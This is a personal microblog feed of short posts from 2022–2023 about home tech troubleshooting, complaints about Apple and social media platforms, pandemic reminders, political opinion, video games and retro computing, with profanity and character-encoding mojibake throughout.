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Mozilla's website is utter garbage.ย They should be ashamed of themselves.ย Dear Future Me, you are looking for ยซhttps://ftp.mozilla.org/pub/firefox/ยปยน
[1] https://ftp.mozilla.org/pub/firefox/
So my NAS has been a bit slow lately and the culprit seemed to be smbd doing between 600 - 1000 write IOPS all day long.ย Discovered that Time Machine on my laptop was the culprit.ย After screwing around with it a bunch I eventually just deleted the entire backup from disk and restarted.ย It seems *much* happier now.
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Love that my iPhone is asking if I trust my computer *every single time* I sync it now. ๐
ยซThis is perfect.ยปยน
[1] https://brandnewbox.com/inthestacks/
A system can never truly stabilize. This is why utopias are nonsense: even if you design the most perfect society in which everything works brilliantly, it will still have to cope with war and meteors and pandemics and other factors beyond your control. A system canโt just work well, it has to fail well....> Assuming nothing will go wrong doesnโt make you an optimist, it makes you an asshole. A dangerous asshole. Assuming nothing will go wrong is why they didnโt put enough lifeboats on the Titanic.ยซhttps://pluralistic.net/2023/01/09/watch-the-surpluses/#exogenous-shocksยปยน
[1] https://pluralistic.net/2023/01/09/watch-the-surpluses/#exogenous-shocks
Can we *please* stop plugging absolutely everything into the fucking Internet now?ยซhttps://samcurry.net/web-hackers-vs-the-auto-industry/ยปยน
[1] https://samcurry.net/web-hackers-vs-the-auto-industry/
Twitch's UI is so trash. ย It's like 4 clicks to unfollow someone. ย Why isn't there just a list somewhere with a X button next to the name I can click?
Shit like ยซthisยปยน is a nice sentiment and I'm all for it for the very privileged few of us that it would work for; however, the fact is that 99.999% of the Internet are people *who do not give a single fuck about building shit for the Internet* and just want to share cat pics and form communities.*We* built this trash fire and invited everyone to come join us, then *we* shit all over their living rooms and ruined their democracies and now it's up to them to build their own little islands to push back against our hubris?No, I think *we* need to do better somehow.
[1] https://tantek.com/2023/001/t1/own-your-notes
ยซThis is an amazing synopsis and call to actionยปยน.ย It is really easy to point and say *shits fucked*, so much harder to do something about it.ย We have to do something about it or we *will lose* the republic.
[1] https://twitter.com/fuckyouiquit/status/1609722891838578689
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It's really nice to see what happens when someone if finally put in charge of a company that cares about what the company's actual mission is other than 'extract maximum shareholder value from consumers.'More leaders and less MBAs running companies in 2023, please.ยซhttps://tedgioia.substack.com/p/what-can-we-learn-from-barnes-andยปยน
[1] https://tedgioia.substack.com/p/what-can-we-learn-from-barnes-and
What the *fuck* is this and why won't it go away?ย Why can't I turn it off?Dear all software developers, no one ever wants *more* notifications. Especially ones with *zero* value.ย Please *stop* this.
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Not only is this some '*be born rich you stupid poor*' bullshit, putting 3% down on a $450,000 mortgage is what we called *predatory lending* in the 2008 housing crisis so maybe don't do that.
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Been a fan of Mike Duncan since The History of Rome. Very excited for what comes next, but if you are interested in narrative history and wonder if Revolutions is for you, his ยซfinal episodeยปยน contains a good synopsis of what you might be in for.10/10, no notes, Libertรฉ, Egalitรฉ, Fraternitรฉ.
โ In-Reply-To: 12/23/2022 @17:39
All of Regina's jobs done and all the NCPD scanner hustles done. ย I'm really enjoying this V's playstyle. ย Breach Protocol + Contagion on the way in and hip firing a Fenrir makes very short work of most encounters. ย Ping + Short Circuit and a silenced Nue means I can be a little more stealthy if I desire. ย I want to switch to a smart SMG soon though.
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This 100% evokes David Bamber as Mr. Collins in my head.Also if you're wondering the 1995 Jennifer Ehle / Colin Firth TV mini-series is the *correct* Pride and Prejudice adaptation.
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First play through of Cyberpunk 2077 I was so anxious to get through Act 1 that I basically did only main jobs all the way until the map opened up. This time I am being a lot more... methodical. ย Certainly changes the tone a bit.
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Getting ready for the holiday break is a bit of a struggle, even on 750Mbps symmetric fiber...
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Carl Sagan. ย Absolute. Legend. ย Prescient and brilliant.
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As we move into the holiday season and people start gathering it's probably worth mentioning that it would be great if you don't kill your loved ones with one of the plagues currently circulating during this, the third year of a global pandemic. ย Thanks.
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ยซ[Reblogged from mostlysignssomeportents] neil-gaiman: Better failure for social mediaยปยนWorth reading.
[1] https://neil-gaiman.tumblr.com/post/704121273675087872/better-failure-for-social-media
Man, I have some real feels when one of our robots goes to sleep...
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Remind me again why socialism is undesirable? ย Oh yeah, it rejects the ultra-wealthy as they are a cancer on the public good.
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I am a bit young for Twilight Zone, however every time I read it in my head it sounds like Rod Serling's voice and cadence.
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This.ยซviaยปยน
[1] https://www.tumblr.com/wilwheaton/704004938468048896
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Can you believe that people tell me I am hard to shop for?
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Tron had such a solid aesthetic...ยซviaยปยน
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ยซThese imagesยปยน are stunning and this work is so important if only because sometimes we need to feel small and alone.ย It also shows us what we can do when we work together, and support each other, not for profit, or nationalism, or personal glory, but for the good of all human kind.*Everything* that has ever been wrought by human hands โ and *everyone* who has ever lived is in this picture.
[1] https://kottke.org/22/12/best-photos-nasa-artemis-mission
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I still don't understand the hand-wringing and *urging* instead of actualย *action*.ย Public health is one of the things that we specifically have a government for and all we get is... ยซmilquetoastยปยนย pleading and outrightย ยซgaslightingยปยฒ.tl;dr, it's still a pandemic out there.ย It's getting worse because hope is not a strategy.ย Go read Violet Blue's ยซPandemic Roundupยปยณ and wear a mask.ย Try to stay safe this holiday season.(maps ยซviaยปโด and ยซviaยปโต)
[1] https://www.npr.org/2022/12/11/1142099805/indoor-masking-advised-washington-california-new-york
[3] https://www.patreon.com/posts/pandemic-roundup-75658604
[5] https://www.cdc.gov/flu/weekly/usmap.htm
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It is nice seeing more and more people leave Twitter but I can't help but wonder how long until the one or two big mastodon instances getting most of the refugees fall apart and everyone goes to one of the new walled garden startups.
Remember, even if you're a apartheid profiting space Karen with a social media company the Internet never forgets.ยซviaยปยน, ยซviaยปยฒ.
[2] https://twitter.com/GreatDismal/status/1602397193310437376
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Fascist.ย The word you were looking for, New York Times, was fascist.ย This milquetoast excuse for journalism is indicative of the rot in your reporting that led me toย cancel my subscription. ย He is tweeting wild conspiracy theories and calling for the prosecution of public health officials. ย He has been very clear about where he stands.
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ยซBurn it all down!ยปยนย The entire online advertising data harvesting, Ponzi scheme needs to be killed.๐ฅ
[1] https://www.eff.org/deeplinks/2022/12/promising-new-gdpr-ruling-against-targeted-ads
โ In-Reply-To: 12/06/2022 @14:40
Imaging ยซtreating human beings like human beingsยปยน instead of batteries...
[1] https://twitter.com/kirinjaan/status/1601316460223434753
โ In-Reply-To: 12/05/2022 @22:07
~ NO MESSAGE ~
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I love how it's almost 2023 and trying to persuade systemd to do anything that didn't come pre-configured in your base Linux distribution is somehow still worse than going to the DMV.
D'awwwww! ย We all deserve a friend with pockets who will stab mean people for us.ยซhttps://wilwheaton.tumblr.com/post/702913910982000640/secondlina-i-think-at-this-point-my-crow-timeยปยน
Wait wait, you mean a rising tide raises **checks notes** all ships?ยซhttps://www.mcsweeneys.net/articles/its-a-wonderful-life-if-the-minimum-wage-was-raised-alongside-inflationยปยน
The *only* right and proper response to the government invoking the Railway Labor Act over *checks notes* *one* paid sick day is to strike.Also 100% on team Bashir / Garak.
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The fake outrage bot farm has reached ยซDEFCON DICK PICSยปยน....
[1] https://www.stonekettle.com/2022/12/a-republic-if-you-can-tweet-it.html
You know, I think they are right, you do get more conservative as you get older...ย as a young man I was in the Locke camp, believing that a large, wealthy middle class could keep a tyrannical government at bay.ย Now I firmly believe our only option is to stare the tyrannical government dead in the eyes as we eat the rich so they know we are willing to starve them out.
Your semi-regular reminder that the ยซpandemic is not overยปยน and as a bonus it's ยซflu seasonยปยฒ.
[2] https://www.cdc.gov/flu/weekly/usmap.htm
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This man knows how to work a crowd and present a message.
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You don't always need an oscilloscope when doing microcontroller development but when you do, you really do.
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ยซRetweet of @sarahlazare by @jortsthecatยปยนยซDec 1, 2022 at 18:08ยปยฒThis whole railroad workers episode further clarifies that the "essential worker" discourse we've been bombarded with for almost 3 yrs is about disciplining workers to labor in perilous conditions, and not about respecting and protecting the people who do vital work.Fail to support labor at your own peril for tomorrow they come for *you*.
[1] https://twitter.com/jortsthecat/status/1598454086873272321
[2] https://twitter.com/jortsthecat/status/1598454086873272321
ยซhttps://prospect.org/economy/at-least-the-tech-winter-will-kill-off-some-zombie-companies/ยปยน via ยซRetweet of @dwallacewells by @GreatDismalยปยฒHuge profits produced an enormous pool of money at the top of society, but precisely because the rich were getting so much, there was nowhere good to invest. Interest rates on government bonds didnโt keep up with inflation and sometimes sold at actual negative rates; ordinary businesses had no prospects for large growth. The economy was like a man who is sick and feeble because a third of his blood and nutrients are being sucked up into an enormous tumor hanging off the side of his head, which for the purposes of this story weโll call โJeff Bezos.โBurn baby, burn.
[1] https://prospect.org/economy/at-least-the-tech-winter-will-kill-off-some-zombie-companies/
[2] https://twitter.com/GreatDismal/status/1597290946198392832
From the ยซplease-not-againยปยน department:> The thing that makes the Internet useful is interoperability. These companies hate that. The thing that makes the Internet become more useful is the open source notion that there will always be more smart people who don't work for your company than that do, and some of those people will find ways to expand on your work in ways you never anticipated. These companies hate that, too. They'd rather you have nothing than that you have something they don't own.ย Letting VC funded, privately owned corporations own the centers of discussion online has *never* worked out well for humanity.ย Please let's *stop* doing that. ย Twitter isn't the 'global town square', it's the cafeteria on the 37th floor of the Salesforce [dot] com tower that just happens to be open to the public, sorta.
[1] https://www.jwz.org/blog/2022/11/psa-do-not-use-services-that-hate-the-internet/
My least favorite part of Christmas... the one wreath with incandescent mini-lights that loves to just shit itself every year...
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ยซ[Reblogged from ispyspookymansion] wilwheaton posted a note.ยปยนยซNov 26, 2022 at 20:53ยปยฒ> ยซispyspookymansionยปยณ:spotify is selling audiobooks nowโฆ..once again tapping the sign:ย dont give them your money when you could be supporting your local library!Stop paying corporations for things that your taxes already paid for.
[1] https://wilwheaton.tumblr.com/post/702036337526702080
[2] https://wilwheaton.tumblr.com/post/702036337526702080
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Yes yes, tell me again that Space Karen Apartheid Emerald Mine Impotent Rocket Child is a genius and earned his success.
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โ In-Reply-To: 11/23/2022 @10:04
Spent most of this week reading and listening to my iTunes^W Music.app library with the play a random album script.ย It has dug up some absolute *bangers*.
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โ In-Reply-To: 11/23/2022 @15:24
And in case you might find yourself wondering why I have all this bullshit turned off (and would prefer it to be uninstalled)... ยซthese days you just have to assume that if you send your data somewhere it's going to get lost, stolen, or soldยปยน.ย Actually, probably all three.ย And probably even if you opted out.
โ In-Reply-To: 11/23/2022 @15:24
So after all of that the connection between the watch and the phone didn't seem to actually function so I had to wait a half hour while the watch reset itself to try again. ย Now it seems I can't remove these stupid Health and Fitness apps that got force installed on my phone during pairing. What absolute mouth breather thought this was ok? ย I am not going to let you track medical data about me! ย That is just insane!
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So far the Apple Watch setup process feels like an unpolished dumpster fire. Two *hours* to update to the latest OS version, handful of questions, then another *hour* and it is only about 1/2 way done "synchronizing," which is just as completely inscrutable a process as the upgrade was. ย I can't believe this was deemed an acceptable user experience.
โ In-Reply-To: 11/21/2022 @11:22
ยซDoug's AppleScriptsยปยน are invaluable for dealing with iTunes^W Music's complete lack of being able to work properly.ย ยซPlay Random Albumยปยฒ is particularly useful for the rare times Music does work.
[1] https://dougscripts.com/itunes/index.php
[2] https://dougscripts.com/itunes/scripts/ss.php?sp=mxrandomalbumplayer
โ In-Reply-To: 11/20/2022 @17:10
Oh, and this one has no web interface, and a beta of an Android app.ย So it's essentially a VC funded, iOS only walled garden.ย I'm sure *that* will work out.
I love how every few months or so I have to spend several hours fixing shit inside Music.app.ย Moved files, duplicate albums, things suddenly split between *Music/artist/album* and *Music/Compliations/album* with no indication as to why.ย It's nice to see the iTunes^W Music team still brings the A-game Every. Single. Day. </s>Latest monstrosity was the 2010 Jay-Z greatest hits album suddenly being split between "Compilations", "Jay-Z" and "JAY Z"...
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I'm not gonna lie.ย ยซThis slapsยปยน.
[1] https://www.youtube.com/watch?v=CWOtAvB2SbI
So there's some new kid popping up in the various death burbles of the birdsite.ย I'm sure another VC funded, corporate walled garden will be so much better than it was the last hundred times we tried it.
ยซwilwheaton posted a quote.ยปยนยซNov 20, 2022 at 04:04ยปยฒThat what Mr. Musk has called the global town square can be eviscerated in a time period somewhere between a Scaramucci and a Truss makes one wonder if we should be more skeptical of all the other billionaire geniuses with ideas for our schools, public health systems and politics.I'm on team *"Every billionaire is a policy failure."*I'm also on team *"shame on us for building a town square on private property as if this wasn't always going to be the ultimate conclusion."*
So if blockchain technology isn't good for... *checks notes* ยซtransfer and settlementยปยน of financial instruments, one might seriously start to wonder if it is good for *anything at all*.That is if they didn't already know that it *isn't*.
Reminder, COVID is not over.ยซhttps://www.patreon.com/posts/pandemic-roundup-74765751ยปยน(CDC map showing data from Thu Nov 03 2022 - Wed Nov 09 2022)
[1] https://www.patreon.com/posts/pandemic-roundup-74765751
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โ In-Reply-To: 11/16/2022 @18:57
I feel like this feeling has been burning in my soul for 20 years and just hasn't been presented quite so succinctly until now.How often is *disruption* just handwaving over law breaking?
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โ In-Reply-To: 11/16/2022 @18:57
Looks like they put this ability into ยซEyes on the Solar Systemยปยน which seems like a much better place for it.ยซhttps://eyes.nasa.gov/apps/solar-system/#/sc_artemis_1ยปยฒยซviaยปยณ
[1] https://eyes.nasa.gov/apps/solar-system/#/sc_artemis_1
[2] https://eyes.nasa.gov/apps/solar-system/#/sc_artemis_1
[3] https://twitter.com/NASASolarSystem/status/1592976122865946624
I love this.
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I don't know why this isn't linked on the NASA.gov homepage, or the NASA Artemis I mission page but you can track the mission telemetry here ยซhttps://www.nasa.gov/specials/trackartemis/ยปยนยซviaยปยฒ
[1] https://www.nasa.gov/specials/trackartemis/
[2] https://twitter.com/CanberraDSN
If unions and regulations end up being the legacy of Apartheid Emerald Space Karen's *Insane Machinations* then he really is playing 4 dimensional space chess!Workers Unite!
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โ In-Reply-To: 11/16/2022 @11:01
ยซTweet from @nasaยปยนยซNov 16, 2022 at 01:50ยปยฒWe are going. For the first time, the ยซ@NASA_SLSยปยณ rocket and ยซ@NASA_Orionยปโด fly together. ยซ#Artemisยปโต I begins a new chapter in human lunar exploration.
[1] https://twitter.com/nasa/status/1592772202289430528
[2] https://twitter.com/nasa/status/1592772202289430528
[3] https://twitter.com/NASA_SLS
[4] https://twitter.com/NASA_Orion
[5] https://twitter.com/hashtag/Artemis
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Straight up chills watching this.> ยซRetweet of @NASA by @nasaartemisยปยนยซNov 16, 2022 at 01:42ยปยฒ"And ยซ#Artemisยปยณ Generation, this is for you." Artemis I has a GO for launch to the Moon. T-0 time for liftoff is now set for 1:47am ET (0647 UTC).ย
[1] https://twitter.com/nasaartemis/status/1592770152906784768
[2] https://twitter.com/nasaartemis/status/1592770152906784768
[3] https://twitter.com/hashtag/Artemis
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What is that I spy?ย Journalism?ย Finally?> ยซTweet from @NPRยปยนBREAKING: Donald Trump, who tried to overthrow the results of the 2020 presidential election and inspired a deadly riot at the Capitol in a desperate attempt to keep himself in power, has filed to run for president again in 2024. ยซhttps://n.pr/3THqnJMยปยฒ
[1] https://twitter.com/NPR/status/1592701068995084290/
I think ยซMolly Whiteยปยน managed to skirt ยซBetteridge's Lawยปยฒ here...
[1] https://blog.mollywhite.net/is-web3-bullshit/
[2] https://en.wikipedia.org/wiki/Betteridge%27s_law_of_headlines
โ In-Reply-To: 11/13/2022 @17:58
I wonder if anyone has accused jwz of being an ยซoptimistยปยน.In the end it's all our own fault for letting a company privatize 'the public square.'
[1] https://www.jwz.org/blog/2022/11/mastodon-and-federation/
I departed social media in 2015 because I couldn't stand it, happy to haphazardly toss things into the world from this corner of the Internet that I control.ย There have been a lot of takes on the whole Twitter fiasco and ยซthis oneยปยน is one I like a rather lot.
[1] https://inessential.com/2022/11/13/after_twitter
Added the ability to consume Fediverse posts (well, from Mastodon instances) to my RSS feed transmogrifier. ย If people do flee en-masse from the Twitter tire fire I'll be able to continue to follow them anonymously.
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Fall cleanup basically done. A pile about 150' long this year. Not too bad.
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ยซRetweet of @oneunderscore__ by @BritishPodcastยปยนยซNov 9, 2022 at 11:04ยปยฒBefore the next election, you might want to find a better way to poll anyone under the age of 30 since they would rather pick up a pinless grenade than a call from an unknown number.I'm 41 and I have my phone set to *not even ring* if the number isn't in my contacts.ย Don't act like this is some kind of zoomer phenomenon.
[1] https://twitter.com/BritishPodcast/status/1590374791579828225
[2] https://twitter.com/BritishPodcast/status/1590374791579828225
ยซRetweet of @RealSexyCyborg by @realsexycyborgยปยนยซNov 7, 2022 at 19:01ยปยฒIf nothing else Mastodon is introducing people into the whole Open Source tradition of trying to be enthusiastic about something really bad that doesn't work at all because you don't want to be rude to the maintainers and the thing you really want to use doesn't work anymore.๐
[1] https://twitter.com/realsexycyborg/status/1589770063858790400
[2] https://twitter.com/realsexycyborg/status/1589770063858790400
โ In-Reply-To: 11/08/2022 @13:37
FWIW, I've been a Howard Stern fan for 24 years and I totally agree with him here. โ๏ธ
ยซRetweet of @HNTurtledove by @GreatDismalยปยนยซNov 7, 2022 at 17:19ยปยฒTFW I completely agree with Howard Stern.> ยซTweet from @thehillยปยณHoward Stern: Preserving democracy is "the only fโing issue on the table" in midterms ยซhttps://trib.al/1avQY0Vยปโด
[1] https://twitter.com/GreatDismal/status/1589744372622712833
[2] https://twitter.com/GreatDismal/status/1589744372622712833
[3] https://twitter.com/thehill/status/1589669279686950914/
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Re: ยซhttps://twitter.com/chris_randall/status/1589647332869824513ยปยนI am going to miss Twitter once Apartheid Space Karen is finished smothering it...
[1] https://twitter.com/chris_randall/status/1589647332869824513
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Go back Violet Blue's Memoir ยซA Fish Has No Word For Waterยปยน and then go join her ยซPatreonยปยฒ to support her weekly, free Pandemic Roundup and Cybersecurity Roundup!ย It's tremendous value for money!
[1] https://www.kickstarter.com/projects/violetblue/a-fish-has-no-word-for-water
[2] https://www.patreon.com/join/violetblue
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The self-destruction of Twitter reminds us all (and informs those who haven't been on the Internet very long) that nothing is permanent here.ย You need to always be ready to have to pick up your community and move.ย It's wildly common for some corporation to dump toxic waste in your front yard.ย I was on Geocities when it was the 3rd most popular website on the entire Internet, bought by Yahoo for almost $4 billion dollars (a King's ransom in 1999!) and then driven into the ground and simply shuttered with a small sign on the door 10 years later.If you don't own it, assume it will be melted down for parts or completely ruined at any moment. ย
Looks like cranking logging up during a heavy development phase on Azure Functions can get stupid chatty.ย (Upped my bill this month from 9 cents to 17 dollars!)
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Looks like cranking logging up during a heavy development phase on Azure Functions can get stupid chatty.ย (Upped my bill this month from 9 cents to 17 dollars!)
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โ In-Reply-To: 08/16/2022 @13:14
I really should have read the manual, eh?ย Turns out you can lock the light effect with a ยซkey combinationยปยน!
[1] https://www.keychron.com/blogs/news/k8-key-combinations
โ In-Reply-To: 10/28/2022 @20:59
In between other things I wrote a Python script to take an audio collection on ยซDiscmasterยปยน and pump it into a player so I don't have to click play on each track in the list manually.It makes for some interesting listening.
[1] http://discmaster.textfiles.com
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โ In-Reply-To: 09/12/2022 @21:54
Yeah, every time I try to change the wallpapers on iOS 16, I want to buy a flip phone. ย Good job guys.
โ In-Reply-To: 10/18/2022 @10:09
I'm am astounded at how well this thing works.ย Playing and inspecting ยซProTracker MODsยปยน buried in a ZIP file inside a ZIP file, or rendering out ยซANSI artยปยฒ from a ZIP in an ISO.This is a window into the computing of my youth.
[1] http://discmaster.textfiles.com/view/7501/cleanhpvac.zip/cleanhpvac/ACID2.ZIP/ACID2.MOD
[2] http://discmaster.textfiles.com/view/7814/darkdomain.iso/artpacks/1990/acidnews.zip/ELM.ANS
Hah, sorry random cloud server, but I don't believe you..."Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0 SeaMonkey/2.42.9esr"
Nice of Apple to publish a ยซSecurity Research Blogยปยน, but would an RSS feed have killed them? ย They expect me to what, check back periodically for updates? ย Like some sort of cave person?
[1] https://security.apple.com/blog/
โ In-Reply-To: 08/16/2022 @13:14
After a couple months with the Keychron K8 I have to say that I'm pretty happy.ย It's a little nicer to type on than the Anker KM-G14, I think the engagement click is a little more decisive.ย I use it wired and I do sort of wish the USB-C port was on the back rather than the side.ย Also the light function key is really easy to bump when moving the keyboard around and it takes a little while to get back to the setting I wanted.ย I'm not fond of the animated light shows, I much rather a single static color.All told, minor complaints. ย Good keyboard. ย Well worth it.ย
ยซThisยปยน kind of touchy-feely, low content density, user experience design is exactly why I don't use Slack, and why I gateway Discord into an IRC client.ย I don't need software giving me ass pats for using it.ย Do the thing that I need you to do and get out of my way so I can move on with my day.Software developers stopped realizing the goal of getting shit done once they started getting paid by advertisers and the entire world is worse off for it.
[1] https://mashable.com/article/slack-glitch
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If ยซthisยปยน isn't your jam at some level... man I don't even know.ยซ10 days remainยปยฒ
[1] https://www.youtube.com/watch?v=ViErk7sbA4k
[2] https://www.jwz.org/blog/2022/10/jwz-mixtapes-15th-anniversary/
Reddit is just about the worst site on the Internet. ย They make it that way on purpose and they should be ashamed of themselves. ย I close more pages unread than I end up reading.
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Finally, a summary of some of the subconscious weight I have felt around tech over the past 20 years...ยซhttps://www.tumblr.com/mostlysignssomeportents/698650752589185024/it-was-all-downhill-after-the-cuecatยปยนI had a CueCat...
โ In-Reply-To: 10/18/2022 @10:09
Wait wait, holy shit.ย ยซTheyยปยน render MOD files to mp3 so you can play them?ย *mind blown*
[1] https://www.going-flying.com/thoughts/1666102169.html
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ยซ๐งต Tweet from @textfilesยปยนยซOct 17, 2022 at 20:42ยปยฒIf you give the slightest whit of a care about 1980s-2000s computer and software history, your mind is about to be very blown. Some people worked very hard on this, and anonymous credit to them. So, set aside your week, this is going to be change everything for you.Think I'm hyping up? I'm going to do even worse. I'm not going to do anything but give you the URL. ยซhttp://discmaster.textfiles.comยปยณ Happy Exploring.Can confirm this works in Netscape Navigator 4.79!
[1] https://twitter.com/textfiles/status/1582166249018048512
[2] https://twitter.com/textfiles/status/1582166249018048512
[3] http://discmaster.textfiles.com/
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This.ย I've lost so much respect for people around me because it's all YOLO, let it rip.ย My county has been in the red (High) or orange (Substantial) community transmission level basically continually this year and less and less people seem to take even basic precautions every day.ย I still have e-mails from work from early 2021 where 80 cases / 100,000 people shut down offices, restricted travel, and triggered immediate work from home.ย This week's lucky number is 112.7 and no one even noticed.> ยซRetweet of @katimcf by @jwzยปยนยซOct 17, 2022 at 01:33ยปยฒitโs so weird because seeing people post from bars or concerts unmasked here feels like a betrayal every time, but this weekend iโve been seeing ppl posting pics from the BTS concert in Busan where EVERYONE is masked and i remember it doesnโt have to be like this.Go read ยซViolet Blue's Pandemic Roundupยปยณ, winter is coming.
[1] https://twitter.com/jwz/status/1581880975637680128
[2] https://twitter.com/jwz/status/1581880975637680128
[3] https://www.patreon.com/violetblue/posts
If you are trying to get PGP/MIME encoded news articles to work in slrn using ยซthis blog postยปยน, you will likely want to know that the pgp-verify script referred to (which was available at http://www.xray.mpe.mpg.de/mailing-lists/procmail/2004-06/pl00000.pl but no longer works) is still available over on mhonarc at ยซhttps://www.mhonarc.org/archive/html/procmail/2004-06/plBpTGRJjQTR.plยปยฒ.
[1] https://info.comodo.priv.at/oldblog/articles/slrn_pgpmime/
[2] https://www.mhonarc.org/archive/html/procmail/2004-06/plBpTGRJjQTR.pl
Bivalent COVID-19 booster, and quadvalent influenza boosters received. Absentee ballot submitted! ย October has been off to a productive start!
ยซDigital license platesยปยน seems like a solution for the problem of 'how do we make something that works well and doesn't cost a lot of money complex, fault prone, and expensive so as to create shareholder value'.
[1] https://www.schneier.com/blog/archives/2022/10/digital-license-plates.html
I bore of the gritty, dark, unwatchable present.ย Let us bring the dramatically lit past into the future!ยซRetweet of @ScarlettHairdye by @jwzยปยนI don't want gritty realistic lighting in movies and TV, I want night scenes lit in blue so I can actually see what's going on and absolutely nonsensical lighting choices that add drama and emotional weight to the scene (while allowing me to actually see what's going on)> ยซTweet from @ScarlettHairdyeยปยฒI'm here to say fuck realistic lighting in visual media, no strive toward realism is ever gonna have the same dramatic punch as Wei Wuxian standing on a roof at night, backlit by a spotlight for NO FUCKING REASON, with a slice of light across his eyes ALSO FOR NO REASONย
[1] https://twitter.com/jwz/status/1580616509952360448
[2] https://twitter.com/ScarlettHairdye/status/1337435227531038720/
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A friendly reminder that the pandemic ยซis not overยปยน just because you are tired of it.
[1] https://www.patreon.com/posts/pandemic-roundup-73246405
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Automatically looping videos on websites need to stop being a thing. ย I'd like to yeet every engineer who has ever made that shit possible.
Oh please tell me The Onion actually filed ยซthis briefยปยน.ย It is SO GOOD. ย Go read it!
[1] https://www.loweringthebar.net/2022/10/best-brief-ever-written-the-onion.html
Between The Mandalorian and The Book of Boba Fett I think Boba Fett is a more interesting show.ย It doesn't help that Grogu is wholly unlikable.
You won't be surprised that I'm not sold on cloud gaming being a Good Idea, but it seems like after lighting a few dumpsters full of money on fire Google has ยซdecided to kill Stadiaยปยน.ย To be fair they outperformed the ยซStadia death clockยปยฒ by something like 414 days.
[1] https://blog.google/products/stadia/message-on-stadia-streaming-strategy/
[2] http://stadiacountdown.com
I'm not usually thrilled with plucky sidekick characters in sequels but Kaoru Sayama in Yakuza: Kiwami 2 is actually an interesting counterpoise to Kazuma Kiryu.
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I love this neยซw Apple that adds useless features that add frictionยปยน to a workflow and provide no way to disable them.
[1] https://discussions.apple.com/thread/254196776
A ยซgood overviewยปยน of what the fifth circuit did to get lawyer twitter all spicy this week.
In spite of Substack being a bunch of spammy jerkoffs, ยซSerious Troubleยปยน and ยซSteadyยปยฒ are well worth the trade off of having to write a couple filter rules (they do insert List-Id: headers on the stuff you care about so that's good) to bin the rest of the garbage that happens when you slide your e-mail address into that sweet subscribe box.
[1] https://www.serioustrouble.show
[2] https://steady.substack.com
I think I'm starting to find the combat style and aesthetic of Nomad V. ย Now to see if I can find or craft a cotton candy pink tech SMG.
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ยซThisยปยน is a good reason to always have notification previews turned off while the device is locked.
[1] https://www.schneier.com/blog/archives/2022/09/credit-card-fraud-that-bypasses-2fa.html
You know, with the ยซEdgerunners DLCยปยน out I think I'll give Cyberpunk 2077 another playthrough.ย First time corpo, now nomad.
[1] https://www.cyberpunk.net/en/news/45280/edgerunners-update-patch-1-6-list-of-changes
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โ In-Reply-To: 09/16/2022 @19:03
Oh, I was ยซwrongยปยน... it is even worse. ย The customization process is even more complex and it saves each one as a new profile thing on the lock screen, which also unintuitively changes the home screen. ย Who wanted this? ย What the hell.
[1] https://www.going-flying.com/thoughts/1663369423.html
โ In-Reply-To: 09/12/2022 @22:51
Somehow Apple launched new lock screen customizations and made the whole thing worse? ย You used to be able to select a picture and set it to either the home screen or the lock screen and now that seems impossible. ย What a weird decision.
โ In-Reply-To: 09/12/2022 @21:54
This is allowed while locked by default in iOS 16... who thought that was not going to be abused?*Narrator voice: It already has been abused.*
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Not sure how much I should expect my skirt being blown up when the lede is "new lock screen with widgets."I guess we will see.
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Dear Tim Cook. Fuck you and your proprietary iMessage horseshit you out of touch maniac.Love,Matt(ยซreยปยน)
[1] https://www.npr.org/2022/09/08/1121756012/iphone-android-text-message-green-blue-tim-cook
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I honestly can't remember the last time I was excited by an Apple announcement. ย It seems like they just keep adding more AR stuff and emojis to everything and call it innovation while reducing the UI contrast and usability. ย It's unfortunate that the only alternatives are Google on the phone and Microsoft and Linux on the desktop.
I am frankly mortified that this is coming from the governor of my state.> itโs impossible to overstate the permanent public health damage of a sign that shows someone wearing a mask incorrectly with the label โyou do youโ. teaches a lasting misunderstanding of the purpose and function of masks for this and every future pandemic. ยซhttps://twitter.com/govkathyhochul/status/1567537998383779857ยปยนโ jess (@jessfromonline)ย ยซSeptember 7, 2022ยปยฒ
[1] https://twitter.com/govkathyhochul/status/1567537998383779857
[2] https://twitter.com/jessfromonline/status/1567579860649873411?ref_src=twsrc%5Etfw
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I get it now, I had friends whining about how they get too much e-mail and I kept chiding them for not using filters and folders and organizing their inbox like a reasonable person.ย Turns out Gmail is so bad it doesn't actually let you do that... like at all.ย It just makes 'labels' which are little more than tags.ย You can't sort your inbox at all.ย What a pile of *crap*.ย We had better e-mail software in the *late 1980s*.
I have one wifi client that continually has lowish "WiFi Experience" scores, but in their infinite wisdom Ubiquiti provides no ย explaination of what this measurement means rendering it useless and unhelpful.ย Just another reason the UniFi stuff continues to slide farther and farther away from *fit for purpose*ย in my eyes.
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Huh.ย Whoda thought ยซYakuzaยปยน would call me out so perfectly.
[1] https://yakuza.sega.com/kiwami/
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Worth remembering.
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Given how we can barely keep a 3 year old mobile phone working I am impressed that we can keep a ยซ45 year old computer networkยปยน that is out in interstellar space working via a 160bps link with a nearly 2 day round-trip time.Seems to me like choices were made.ยซhttps://phys.org/news/2022-08-glitch-nasa-voyager.htmlยปยฒ
[1] https://voyager.jpl.nasa.gov/
[2] https://phys.org/news/2022-08-glitch-nasa-voyager.html
I see this and hear One Winged Angel in my head..
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You ever watch someone use a computer and just can't even?ย Yeah.ย That's been happening to me a lot lately.ย Ya'll need to stop putting crap all over your desktop.ย Also, you know you can rename files right?ย *Copy of Copy of Copy of Copy of Spreadsheet(6) Rev 4.xlsx* makes me want to hurt myself.
One of the un-sung benefits of being a member of ยซBigClive'sยปยน ยซPatreonยปยฒ is getting random behind the scenes looks at ยซreally cool eventsยปยณ that introduce you to ยซnew and interesting musicยปโด.ย It's not all ยซFanny Flambeauxยปโต over there.
[2] https://www.patreon.com/bigclive/
[3] https://www.edintattoo.co.uk
[5] https://www.youtube.com/watch?v=mcDgOGC5Lcc
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One of the things I love about ยซUSENETยปยน is how easy it is to ยซplonkยปยฒ an entire thread.```
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=> https://en.wikipedia.org/wiki/Usenet [1] https://en.wikipedia.org/wiki/Usenet => https://infogalactic.com/info/Plonk_(Usenet) [2] https://infogalactic.com/info/Plonk_(Usenet) ### โโโโโโโฃโ 08/16/2022 @22:24 โโโโโโโโโโโโโ Nice to see Substack is about as scummy as you might expect.ย I put in a bogus e-mail address in to see the subscription prices for a podcast hosted there (very scummy to require that I might add) and never continued to the actual *create an account*ย phase.ย Now they are trying to e-mail me.``` None
First impressions of the Keychron K8 are positive.
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We have got to start holding companies that ยซneedlessly collect and then lose control of personal informationยปยน accountable.
